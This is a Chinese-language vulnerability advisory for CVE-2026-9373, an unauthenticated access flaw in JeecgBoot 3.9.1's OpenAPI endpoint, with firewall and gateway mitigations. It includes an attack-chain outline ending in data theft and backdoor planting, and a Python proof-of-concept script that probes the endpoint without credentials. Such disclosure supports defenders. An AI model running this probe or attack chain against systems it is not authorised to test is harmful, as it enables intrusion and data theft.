IPBUF安全漏洞报告
English
CVE-2026-9373 CVSS 3.7 低危

CVE-2026-9373: JeecgBoot 3.9.1 OpenAPI端点认证缺陷漏洞

披露日期: 2026-05-24

漏洞信息

漏洞编号
CVE-2026-9373
漏洞类型
认证绕过
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
JeecgBoot

相关标签

认证绕过OpenAPIJeecgBootCVE-2026-9373权限控制API安全低危漏洞

漏洞概述

CVE-2026-9373是存在于JeecgBoot 3.9.1版本中的一个认证绕过漏洞。该漏洞位于系统的OpenAPI端点(/openapi/call/),攻击者可以在无需任何认证凭证的情况下访问该接口。由于OpenAPI端点通常承载着系统核心业务逻辑和敏感数据调用,此认证缺陷使得未经授权的用户能够执行本应受保护的操作。漏洞的CVSS评分为3.7,属于低危级别,但考虑到其对机密性的高影响(H级别)和无需认证即可利用的特性,仍需引起重视。JeecgBoot是一款基于SpringBoot的快速开发平台,广泛应用于企业级管理系统中,其OpenAPI功能用于提供外部系统集成能力。该漏洞由vuldb.com团队发现并报告,厂商在收到通知后未作出回应。

技术细节

该漏洞的根本原因在于JeecgBoot 3.9.1的OpenAPI端点(/openapi/call/)缺少适当的身份验证和授权检查机制。攻击者可以通过构造特定的HTTP请求直接访问该端点,绕过正常的用户认证流程。由于该端点设计用于系统间的API调用,可能存在权限配置不当的情况,导致攻击者能够执行原本需要登录用户才能进行的操作。根据CVSS向量的分析,该漏洞具有网络可达性(AV:N),意味着攻击者可以从任何网络位置发起攻击;攻击复杂度为高(AC:H),表明利用需要满足特定条件;无需认证(PR:N)且无需用户交互(UI:N),大大降低了攻击门槛。漏洞主要影响系统的机密性(C:H),可能导致敏感信息泄露,同时对完整性有较低影响(I:L),可用性不受影响(A:N)。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标系统使用JeecgBoot框架,并定位到OpenAPI端点(/openapi/call/)
STEP 2
步骤2
探测阶段:攻击者发送HTTP请求到目标OpenAPI端点,验证端点是否可无需认证访问
STEP 3
步骤3
认证绕过:由于端点缺少身份验证检查,攻击者可直接访问受保护的API功能
STEP 4
步骤4
数据窃取:利用访问权限,攻击者调用敏感业务接口,窃取系统数据或用户信息
STEP 5
步骤5
持久化控制:部分OpenAPI接口可能支持数据写入操作,攻击者可进一步进行数据篡改或植入后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-9373 PoC - JeecgBoot OpenAPI Authentication Bypass # Target: JeecgBoot 3.9.1 # Endpoint: /openapi/call/ def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-9373 This PoC attempts to access the OpenAPI endpoint without authentication """ # Common OpenAPI endpoints in JeecgBoot endpoints = [ "/openapi/call/", "/openapi/call", "/api/openapi/call/", "/jeecg-boot/openapi/call/" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/json" } print(f"[*] Testing target: {target_url}") print(f"[*] Vulnerability: CVE-2026-9373 - JeecgBoot OpenAPI Auth Bypass") print("=" * 60) for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"\n[+] Testing endpoint: {url}") try: # Try unauthenticated request response = requests.get(url, headers=headers, timeout=10, verify=False) print(f" Status Code: {response.status_code}") print(f" Response Length: {len(response.text)}") # Check for signs of successful access if response.status_code == 200: print(f" [!] Potentially VULNERABLE - Endpoint accessible without auth") print(f" Response preview: {response.text[:200]}...") elif response.status_code == 401 or response.status_code == 403: print(f" [+] Not vulnerable - Authentication required") else: print(f" [*] Unexpected response - Manual verification needed") except requests.exceptions.RequestException as e: print(f" [!] Request failed: {str(e)}") print("\n[*] PoC execution completed") print("[*] Note: This is for authorized security testing only") # Example usage if __name__ == "__main__": import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) target = "https://target-jeecgboot-server.com" check_vulnerability(target)

影响范围

JeecgBoot 3.9.1

防御指南

临时缓解措施
在官方修复版本发布之前,可通过以下措施临时缓解该漏洞风险:1)通过防火墙或反向代理限制对/openapi/call/端点的访问,仅允许受信任的IP白名单访问;2)临时禁用OpenAPI功能或将其设置为仅限内网访问;3)部署Web应用防火墙规则,检测和拦截异常的API调用行为;4)加强应用层日志监控,及时发现未经授权的API访问尝试;5)考虑使用API网关统一管理API访问,配合JWT Token或OAuth2进行二次认证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表